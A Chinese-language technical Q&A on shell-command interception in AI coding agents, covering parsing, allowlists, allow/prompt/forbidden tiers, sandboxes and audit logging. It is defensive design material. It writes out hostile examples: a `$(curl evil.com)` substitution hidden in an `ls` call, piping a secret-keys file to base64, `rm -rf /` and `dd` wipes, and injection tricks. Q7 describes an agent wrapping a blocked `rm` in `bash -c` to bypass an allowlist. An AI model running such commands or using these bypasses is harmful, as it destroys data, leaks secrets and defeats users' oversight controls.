  • Codexshlex 分词到 token 数组,然后 Starlark prefix_rule(pattern=["git","reset","--hard"]) 做 prefix 匹配。shlex 只处理引号和转义这种简单语法,不试图理解命令替换。因为 execpolicy 的设计哲学是「能否运行靠 prefix 决定,运行环境靠 sandbox 兜底」。
  • Claude Codetree-sitter-bash 完整 AST 解析加 shell-quote 双解析对照。tree-sitter 能识别出 $(...)、here-doc、process substitution <(...){1..10} brace expansion。双解析对照是为了发现 obfuscation(两个 parser 解析出不同结构等于可疑)。
  • OpenClawsplitCommand 做分词,然后 exec-obfuscation-detect 单独跑一遍混淆检测(base64、hex、嵌套引号、IFS 注入)。
  • Hermes:彻底放弃命令层语法挡截,改在 workdir 用字符 allowlist 正则。命令本体的危险性交给 tirith 探测器加 container 隔离。

实战建议:自己实现至少用 shlex 加单独的 wrapper detector(识别 sh -cbash -ceval 这三个最容易绕过的东西)。tree-sitter 是好东西但调试和性能开销大,agent 量级一般够呛。

源码claude-code/src/tools/BashTool/bashSecurity.ts:76-101(23 项 ID 列表)。codex/codex-rs/execpolicy/src/policy.rs:34-260

追问:「shlex 不解析命令替换,那 Codex 怎么挡 bash -c "rm -rf /"?」答:Codex 的 prefix_rule(pattern=["bash","-c"], decision="prompt") 直接把 bash -c 升到 Prompt,让用户在审批弹窗里看到完整命令再决定。换句话说,Codex 不试图解析 wrapper 里面是什么,直接对 wrapper 本身收紧。

Q2 · 架构:为什么 Claude Code 的 23 项安全检查用数字 ID 而不是字符串 key?

源码注释写得很直白:用数字而不是字符串记日志,避免 PII 泄漏

举个例子:用户跑了一条 cat /Users/john/secret-keys.txt | base64。Claude Code 命中 #10 DANGEROUS_PATTERNS_OUTPUT_REDIRECTION。如果日志里写 “blocked check string=‘DANGEROUS_PATTERNS_OUTPUT_REDIRECTION on cat /Users/john/secret-keys.txt’“,日志本身就泄漏了用户文件名和路径。

改成 “blocked check_id=10”,日志里只有数字,命令本体走另一条 redacted 通道,可以单独脱敏或不记。

这个设计延伸出三条工程纪律:

  1. 风险检测 ID 化,日志只记 ID。便于在 audit 系统里 join,也便于事故复盘时按 ID 聚合。
  2. 检测描述(什么样的命令会触发 #10)只在文档、源码里,不在 prompt 给模型。让模型知道 23 项 ID 反而是攻击面:模型读了文档就知道怎么绕过。
  3. ID 编号一旦发布就不能改语义。新加检查就用新 ID,不要复用旧编号。Claude Code 内部维护了 BASH_SECURITY_CHECK_IDS 的 ID-to-meaning 文档但不外泄。

类似设计:Linux kernel 用 errno 数字而不是字符串。HTTP 状态码 404 而不是 NotFound。都是「便于聚合加避免泄漏」的工程产物。

源码claude-code/src/tools/BashTool/bashSecurity.ts:76-101(23 项 ID 定义)加同文件 line 1-50 的注释解释 ID 化策略。

追问:「为什么不让 Codex 也 ID 化 execpolicy 决策?」答:Codex 的 Allow、Prompt、Forbidden 只有 3 个枚举,没有 23 项那么细。而且 Codex 的 justification 字段反而需要明文给用户看(为什么拦你加替代命令建议)。两种设计取向不冲突:粒度细等于 ID 化。粒度粗等于明文。

Q3 · 工程shouldUseSandbox() 注释里说「excludedCommands 是便利特性,不是安全边界」。这句话的工程意义是什么?

这是 Claude Code 源码里我最欣赏的一行注释。它把 「便利特性」(convenience feature)「安全边界」(security boundary) 明确区分。

具体场景:用户嫌每次跑 ls 都进 sandbox 太慢,于是在 ~/.claude/settings.json 里加 sandbox.excludedCommands: ["ls", "cat", "head"]。这些命令以后不进 sandbox 直接跑。问题来了:万一攻击者构造一条恶意 ls --color=auto -la $(curl evil.com),模型可能识别为「首 token 是 ls」然后整条放行,绕过了 sandbox。

正确的工程划分:

  • excludedCommands 等于便利特性。目的:减少 sandbox 启动开销让 ls、cat、grep 跑得快。前提:用户已经自己把这些命令的 argv 危险性想清楚了。不承诺:会挡住攻击者用 ls 发起的攻击。
  • 可能构成边界的控制 包括 sandbox 与 permission prompt。它们能缩小风险,但强度取决于 profile、挂载、socket、capabilities、网络、审批模式和用户配置;不能承诺 host 一定不受影响。

这个区分对 agent 系统很重要,因为 agent 系统里有大量「为了让用户体验好」的开关:跳过审批、缓存权限、白名单某个工具。每个开关都必须标清楚:这是便利还是边界。混淆的代价是真出事故时找不到责任人:「我以为这是边界呢」。

实战做法:

  1. 在 settings.json 里给所有「便利」开关加 _comment: "convenience, not a security boundary" 字段。
  2. 文档说明 Claude Code 这条路径依赖哪些边界及其前提:sandbox profile、permission mode、挂载、网络与例外配置都要列出。
  3. 代码注释里在每个看似安全的检查上面写明它的边界级别。

源码claude-code/src/tools/BashTool/shouldUseSandbox.ts:130-153 加该文件 line 1-30 的开篇注释。

追问:「OpenClaw 的 allowlist 是边界还是便利?」答:OpenClaw 的 allowlist 在源码注释里写明是边界(deny-by-default unless allowlisted)。判别方法:看默认行为是 deny 还是 allow。默认 deny 等于边界(不在名单里就拒)。默认 allow 等于便利(不在名单里也跑,只是慢一点)。

Q4 · 概念:Codex 的 execpolicy 决策为什么是 Allow、Prompt、Forbidden 三档而不是 boolean?

Boolean(允许、拒绝)的设计在 agent 场景下不够用,根因是 「拒绝」有两种语义

  1. 强拒:永远不跑,无论用户怎么说。比如 rm -rf / 这种,给个 prompt 让用户确认也不安全(用户可能误点)。
  2. 软拒:默认不跑,但用户可以在审批环节翻盘。比如 cp file1 file2 这种,看场景:在生产机器上拷敏感文件要拦,在自己 dev 机器上则可以放行。

Codex 的三档对应:

  • Allow:直接放行,无需审批。例如 lspwd
  • Prompt:弹审批,用户决定。例如 cpmvgit checkout -b。这是绝大多数命令的归宿。
  • Forbidden:永远拦,审批都不弹。例如 rm -rf /dd if=/dev/zero of=/dev/sda

为什么不直接拿掉 Forbidden,让所有「危险」命令都走 prompt?因为:

  1. 审批疲劳:用户在 IDE 里被弹 100 次 cp 后会麻木,看到 rm -rf / 也手贱点 yes。Forbidden 是给「无论什么场景都不应该跑」的命令准备的逃生通道。
  2. CI、无人值守模式approval_policy="never" 时(CI、batch),Prompt 自动拒绝,但 Forbidden 提供更清晰的语义:「这不是因为没人审批拒绝的,是规则上就不允许」。
  3. strictest match wins:一条命令命中多条规则时,Forbidden 大于 Prompt 大于 Allow。这让规则可以叠加,无需互斥。

另外 Codex 还有第四档语义但不在 enum 里:没规则命中等于默认 Prompt。这一档是 fallback。

源码codex/codex-rs/execpolicy/src/decision.rs:1-28(三档定义加注释解释 approval_policy="never" 的行为)。

追问:「Claude Code 的决策也是三档吗?」答:Claude Code 是 allow、deny进沙箱、不进沙箱 的二维。语义比 Codex 更细但也更复杂:「allow + sandbox」是放行但保护,「allow + no sandbox」是裸跑。Codex 用三档加单独的 sandbox_mode 字段,结构更清晰但表达力略差。

Q5 · 概念:Hermes 用 allowlist 字符正则 ^[A-Za-z0-9/\\:_\-.~ +@=,]+$ 校验 workdir。为什么是 allowlist 而非 deny-list?

Hermes 源码注释用绝对化措辞强调 deny-list 可能漏掉新元字符。这是源码作者的判断,不是本文采用的普遍定律。本文能确认的风险更窄:deny-list 只覆盖已知模式;shell 语法、编码或组合技巧变化后,规则更新可能滞后。

具体场景:你给 deny-list 加了 $(防命令替换)、;(防命令分隔)、&&(防命令链)、`(防反引号)、|(防 pipe)。看起来很全?攻击者用:

  • $IFS$()cmd (IFS 注入)
  • 控制字符 \x01cmd
  • Unicode 空白(U+00A0, U+2007)当分隔符
  • shell 特有的 brace expansion {a,b}
  • glob * 通配
  • here-doc <<EOF
  • 注释 # 把后面截断

每发现一种新绕过,deny-list 可能要补一条规则。若没有代表性语料和持续更新流程,覆盖可能滞后于新语法或新组合;这是一种维护风险,不是所有系统必然失败的定律。

Allowlist 反过来:「只有 [A-Za-z0-9/\\:_\-.~ +@=,] 这些字符能出现」。这是一个白名单字符表,能排除未列入集合的字符。代价是用户写中文路径、emoji 路径之类的小众场景;/home/user/projects/fooC:\Users\...\foo 只是常见示例,不是覆盖率证明。

工程哲学:默认拒绝(default deny)加显式允许(explicit allow)。整个 shell 安全设计都应该这样:

  1. 默认拒绝所有命令,只允许 allowlist 里的。
  2. 默认拒绝所有 flag,只允许 safe-bin profile 里的。
  3. 默认拒绝所有字符,只允许 allowlist 正则匹配的。
  4. 默认进 sandbox,只有 excludedCommands 里的不进。

每一层都是 default deny。即使某一层挂了(漏放过一个 metacharacter),后面还有几层挡。这就是 defense in depth

源码hermes-agent/tools/terminal_tool.py:150-177_WORKDIR_SAFE_RE 定义加注释解释 allowlist 对比 deny-list)。

追问:「allowlist 一定比 deny-list 安全吗?」答:不一定。allowlist 的弱点是误伤合法用法:用户有合理需求(比如 workdir 路径里有 (=),但 allowlist 默认不放。这时候要么扩 allowlist(再 audit 一次),要么走「用户白名单覆盖默认」机制。绝对安全是不存在的,allowlist 只是把「被绕过」风险换成「被误伤」风险,后者影响范围可控。

Q6 · 实战:你要给自己的 agent 加 shell 拦截,从零开始第一步该做什么?

第一步先确定执行接口。能传递 argv 并使用 shell=False 时,不要把未经解析的字符串交给 shell;如果必须接受 shell 字符串,先记录并默认送审批,再根据日志选择更强的解析器或 sandbox。

具体步骤:

阶段一:把允许的命令表示成 argv 规则,只放行少量只读命令;路径 containment、符号链接和敏感文件访问另行检查。对 shell 字符串先 shlex 分词只用于诊断,复杂语法直接进入审批,不要把首 token 命中当成执行许可。

import shlex
ALLOWLIST = set(open("safe-cmd.txt").read().split())
def check(argv: list[str]) -> tuple[str, str]:
"""Return a policy decision; execute with shell=False after path checks."""
if not argv:
return "prompt", "empty command"
if argv[0] in {"sh", "bash", "zsh", "cmd.exe", "eval"}:
return "prompt", "shell wrapper requires review"
if argv[0] in ALLOWLIST:
return "allow", ""
return "prompt", f"program '{argv[0]}' is not in the allowlist"

阶段二:单独识别 sh -cbash -czsh -ceval 等 wrapper;没有可靠的嵌套解析器时统一审批,而不是假设可以安全地拆出内层命令。

阶段三:校验 workdir 字符、realpath containment、符号链接和挂载;字符 allowlist 只覆盖其中一小部分。

阶段四:根据威胁模型加入 hard deny 名单,并用带标签的命令样本测误报和漏报;这一档可映射到 Codex 的 Forbidden

阶段五:把 prompt 接口接到实际入口(CLI、IDE 或 gateway),并记录等待、拒绝和超时状态。

后续再考虑:

  • DSL 提取(Codex execpolicy 风格):规则文件加单测
  • tree-sitter(Claude Code 风格):每条命令 AST 解析
  • safe-bin profile(OpenClaw 风格):per-binary flag 白名单
  • sandbox(所有四家):bubblewrap、sandbox-exec、docker

为什么不在首个迭代就上重武器?因为:

  1. 不知道用户实际跑什么。先用 allowlist 加 prompt 记录一个足够代表流量的窗口,再决定哪些命令要进 allowlist。
  2. 审批成本最大。先把审批通道做顺(CLI prompt 也行),后面加挡截才有出口。
  3. 是否需要 DSL 是维护决策。先用可测试的最小策略,达到规则数量、审查频率或团队 ownership 的维护边界后再抽成 DSL。

源码参考:从最简到最复杂的实现梯度:Hermes terminal_tool.py:150-200(最简 allowlist)走 Codex execpolicy/src/policy.rs:34-260(DSL 进阶)走 Claude Code BashTool/bashSecurity.ts:1-300(穷举 23 项)。

追问:「allowlist 太严,模型每次都被 prompt 怎么办?」答:观察 prompt 日志,把高频且安全的命令分批加进 allowlist。这个过程类似 RBAC 的 role 调优:allowlist 不是一次性写完的,是迭代加出来的。

Q7 · 架构:OpenClaw 为什么要在 allowlist 模式下专门 deny 掉 sh -cbash -c

因为 shell wrapper 是 allowlist 的最经典 bypass

具体绕过路径:

  1. 用户配置 security=allowlist,allowlist 里有 ["git", "ls", "cat"]
  2. 模型想跑 rm -rf .git,但 rm 不在 allowlist,会被拒。
  3. 模型改写:bash -c "rm -rf .git"。如果 allowlist 里有 bash(很多人会加,因为某些工具脚本需要),首 token 检查就放行。
  4. bash -c 后面的字符串绕过了 allowlist 的逐 binary 校验。rm -rf .git 在 bash 子进程里成功执行。

OpenClaw 的 evaluateSystemRunPolicy 直接在 security=allowlist 模式下把 shell wrapper 标记为 shellWrapperBlocked = true,无论 wrapper 本身是否在 allowlist。这把 bypass 通道彻底堵死。

延伸:所有元命令都得特判。Wrapper 不止 sh -c

  • eval "...":动态求值字符串
  • exec ...:替换当前进程
  • env CMD=... target:通过环境变量传递攻击 payload(虽然不是 wrapper,但同样隐藏真实意图)
  • xargs cmd ...:从 stdin 读命令
  • find ... -exec cmd {}:在 find 里嵌入 exec
  • awk 'BEGIN{system("cmd")}':awk 的 system 调用
  • perl -e 'system("cmd")':perl 的 system

OpenClaw 在 exec-obfuscation-detect.ts 里覆盖了这些主要 case。

工程纪律:任何能从字符串构造命令的程序,本身就是 wrapper。allowlist 模式默认 deny 所有这类元命令。如果用户需要 find -exec,得在 UI 里显式开 case-by-case 审批。

类似设计:

  • Codex execpolicy 把 bashshzsh 默认归 Prompt,靠用户在审批弹窗里看完整字符串再决定。
  • Claude Code 的 23 项检查里 #5 SHELL_METACHARACTERS 会捕捉到 wrapper 调用,进入额外校验。
  • Hermes 用 tirith 危险命令探测器扫 wrapper 调用模式。

源码openclaw/src/node-host/exec-policy.ts:52-90shellWrapperBlocked 判定加 Windows cmd /c 特判)。

追问:「那我自己的 agent 能不能彻底禁用 wrapper?」答:理论上可以但实际不行。很多合法工具脚本(Makefile、CI、CD 配置、package.json scripts)都需要 sh -c。可行做法:默认 prompt 弹窗、UI 显示完整 wrapper 内容加推荐「如果可能,请直接调用 git 而不是 bash -c ‘git …’」。

Q8 · 工程:Hermes 7 种 TERMINAL_ENV 后端的代价是什么?为什么其他三家不做?

Hermes 的 7 种后端:local、docker、modal、ssh、singularity、daytona、managed-modal。代价很高:

  1. 每种后端的依赖管理不同:docker 需要 docker.sock,modal 需要 modal Python SDK 加 API key,ssh 需要 paramiko 加凭证,singularity 需要二进制安装,daytona 需要 SDK。光是 requirements.txt 就臃肿。
  2. 每种后端的 spawn 协议不同:local 是 subprocess.Popen,docker 是 client.containers.run,modal 是 Image.from_dockerfile + sb.exec,ssh 是 client.exec_command。要在 terminal_tool.py 里封一个统一接口,每加一种后端要重新写 spawn、log streaming、cleanup 逻辑。
  3. 每种后端的错误模式不同:local 出错是 OSError,docker 出错是 docker.errors.APIError,modal 出错是 modal.exception.Error。要统一成 agent 能理解的 error。
  4. 每种后端的资源生命周期不同:local 进程随 agent 退出,docker container 需要显式 --rm,modal sandbox 有 idle timeout,ssh 连接要保持。Hermes 在 terminal_tool.py 末尾有 200 加行做 lifecycle 管理。
  5. 冷启动开销不同:local、docker 和远端 sandbox 的启动路径不同;首次拉镜像、网络和凭证初始化都可能改变等待时间。用目标镜像和区域实测,再决定是否需要异步任务。

为什么其他三家不做?

  • Codex 定位 CLI、CI,sandbox 在 Linux Landlock 加 macOS seatbelt 已经够用。container 这一层让用户自己包:他们提供 codex --sandbox-mode workspace-writedocker run codex ...
  • Claude Code 定位 IDE 插件,本质在用户机器上跑,sandbox 用 sandbox-exec、bubblewrap 就够。container 这层不在他们职责范围。
  • OpenClaw 定位 agent 平台,把「执行后端」抽象成 ExecHost: sandbox、gateway、node 三档,但具体每个 host 怎么实现交给用户。OpenClaw 自己不做 docker、modal 集成。

为什么 Hermes 做?源码显示 Hermes 提供了可切换的执行后端,可以在本地和隔离环境之间选择。至于这一设计是否源于跨环境研究或其他部署需求,需要项目文档或维护者说明;本文不把它归因为“工程债”。

实战教训:如果没有明确的跨环境实验或租户隔离需求,先支持 local 加一个隔离后端。多后端会带来依赖、生命周期和错误归一化成本,是否值得应由部署需求决定。

源码hermes-agent/tools/terminal_tool.py:1-250(7 种后端的 _get_terminal_runner dispatch)。

追问:「那 Hermes 的 managed-modal 是什么?」答:Modal 提供了一种 managed gateway 模式,agent 不直连 modal API 而是通过 Hermes 内部 gateway 中转。好处:API key 管理集中、用量计费集中、降级策略集中。Hermes 把这种模式单独编号,方便企业用户接 SSO 加计费系统。

Q9 · 实战:你接手一个已有 agent 项目,shell 拦截层几乎为零。如何分阶段加防御?

defense in depth 的思路分四阶段,每阶段验证有效再进下一阶段。

第 1 阶段 · 可见性优先

第 1 阶段 · 可见性优先

输出:一份按时间窗口统计的命令分布报告,窗口和样本量由流量决定。

第 2 阶段 · allowlist 加 prompt

第 2 阶段 · allowlist 加 prompt

预期:用户会抱怨 prompt 太多。这是正确的反馈:把抱怨整理出来,决定下一步加哪些命令进 allowlist。

第 3 阶段 · 危险命令 hard deny

第 3 阶段 · 危险命令 hard deny

同时加 wrapper detection:sh -cbash -cevalcurl ... | bash

预期:用带标签的命令语料测 block rate,不要把 deny-list 写成覆盖率承诺。

第 4 阶段 · sandbox

第 4 阶段 · sandbox

预期:用户体验可能下降(某些命令在 sandbox 里报权限错误);先记录事故和误报,再决定是否调整隔离策略。

关键工程纪律

  1. 每个阶段都要有 metrics:prompt 数除以命令数等于 prompt rate。deny 数除以命令数等于 deny rate。事故数等于实际出问题的次数。三个数字一起看才有意义。
  2. 不要跳阶段。直接上 sandbox 没用:用户为了能干活会 dangerouslyDisableSandbox
  3. 白名单和黑名单并存:allowlist(规则命中时放行)加 denylist(规则命中时拦截)加 prompt(中间态)。三档比 boolean 能表达更多状态,也要配合审计日志验证误报和漏报。

类似项目的 changelog 可以说明演进方向,但不能推出一个通用交付周期。

源码参考:四家的演进史在各自 changelog 里都能看到。Codex execpolicy/CHANGELOG.md、Hermes 的 git log。

追问:「如果用户死活不愿意 prompt 怎么办?」答:提供有明确范围和过期时间的模式,并把选择写入审计日志。它改变了威胁模型,不会因为用户签字就让危险执行变安全。

Q10 · 开放:如果本站提出一份 shell 拦截协议草案,会怎样组合这些材料?

下面是本站的设计草案,不代表四家现有协议或默认配置:

Layer 1 · 解析(基线)

interface ParseResult {
tokens: string[]; // shlex 分词后
wrapper: 'sh' | 'bash' | 'eval' | 'find-exec' | null;
wrapped_command?: ParseResult; // wrapper 里面的命令递归解析
obfuscation_signals: string[]; // ['base64', 'cmd-substitution', ...]
}

可以从 argv 分词起步,但不要把它当 shell 语义解析。遇到 sh -cbash -ceval 等 wrapper 时,没有经过语料验证的嵌套解析器就转人工审批。Codex 当前快照里的 wrapper parsing 较弱且默认关闭,不能把递归解析写成它的默认能力。

Layer 2 · 策略 DSL(推荐)

prefix_rule(
pattern=["git", "reset", "--hard"],
decision="forbidden",
justification="destructive: rewrites local history",
match=[["git", "reset", "--hard"]],
not_match=[["git", "reset", "--keep"]],
)

参考 Codex execpolicy 起步。规则放独立文件,可 git diff,自带单测。决策档:allow、prompt、forbidden,最严赢。

Layer 3 · per-binary profile(高级)

interface SafeBinProfile {
binary: string;
allowed_flags: string[]; // ['--all', '-l', '-h']
denied_flags: string[]; // ['--force', '-f']
min_positional?: number;
max_positional?: number;
long_flag_abbreviations: 'expand' | 'reject'; // 参考 OpenClaw 的 --for 还原
}

参考 OpenClaw safe-bin profile。只有真需要 fine-grained 控制的命令才写 profile(git、docker、kubectl 这种),ls、cat 不用。

Layer 4 · 审批通道(纳入人工审查时)

interface ApprovalRequest {
cmd: string;
justification: string; // 来自规则
decision_history: string[]; // 之前类似命令的决策
ttl?: 'once' | 'session' | 'always';
}
interface ApprovalChannel {
send(req: ApprovalRequest): Promise<ApprovalDecision>;
}

参考 Hermes callback 模式加 OpenClaw JSONL socket。CLI、IDE、IM 各实现一份。

Layer 5 · 执行隔离(威胁模型要求时)

interface ExecBackend {
spawn(parsed: ParseResult, opts: SpawnOpts): Promise<ExecResult>;
}
// 默认实现:local, sandbox-exec/bubblewrap, docker
// 可扩展:modal, firecracker, gvisor

参考 Hermes 的多后端思路但精简到 3 种(local 加 sandbox 加 container)。不做 modal、daytona 这种小众的,留接口让用户自己加。

Layer 6 · 审计(运维或合规要求时)

interface AuditEvent {
ts: number;
parsed: ParseResult;
decision: 'allow' | 'prompt' | 'forbidden';
decision_source: string; // 'rule:git-reset-hard' or 'allowlist' or 'default'
approval_decision?: string;
exec_backend: string;
exit_code?: number;
stdout_size?: number;
pii_check_ids: number[]; // 参考 Claude Code 数字 ID
}

数字 ID 化(Claude Code 风格)加 JSONL 落盘加可对接 SIEM。

整体 API

const shellGuard = createShellGuard({
policy_file: './shell.policy',
default_decision: 'prompt',
safe_bin_profiles: ['./profiles/git.json', './profiles/docker.json'],
approval_channel: cliApprovalChannel(),
exec_backend: 'sandbox',
audit_sink: jsonlFileSink('./shell-audit.log'),
});
const result = await shellGuard.run('git push --force');
// → { decision: 'prompt', justification: '...', approval_pending: true }

优点

  • 每层独立,可单独测试。
  • 第一层 default deny,后面层是 defense in depth。
  • 数字 ID 审计加 PII 防泄漏。
  • 规则可 git diff,演进有审计。

与四个快照的关系:这份草案把外置规则、AST 或 wrapper 处理、per-binary profile、隔离后端和审计接口放到同一设计里。每一层都需要独立威胁模型与跨平台语料,不能从组件清单推导安全强度。

工程量应从 parser 覆盖的 shell/平台、策略规则规模、隔离后端、审批入口、审计保留期和攻击测试集倒推;没有这些范围时,固定人月没有参考价值。

源码组合:参考本章四套系统的实现拼装。

追问:「这套协议跨语言怎么做?」答:核心 API 设计成 JSON in、out,每种语言(Rust、Go、TS、Python)各实现一份执行器,共享同一份规则文件加 safe-bin profile(JSON、Starlark)。Codex 的 Starlark 已经是这个思路。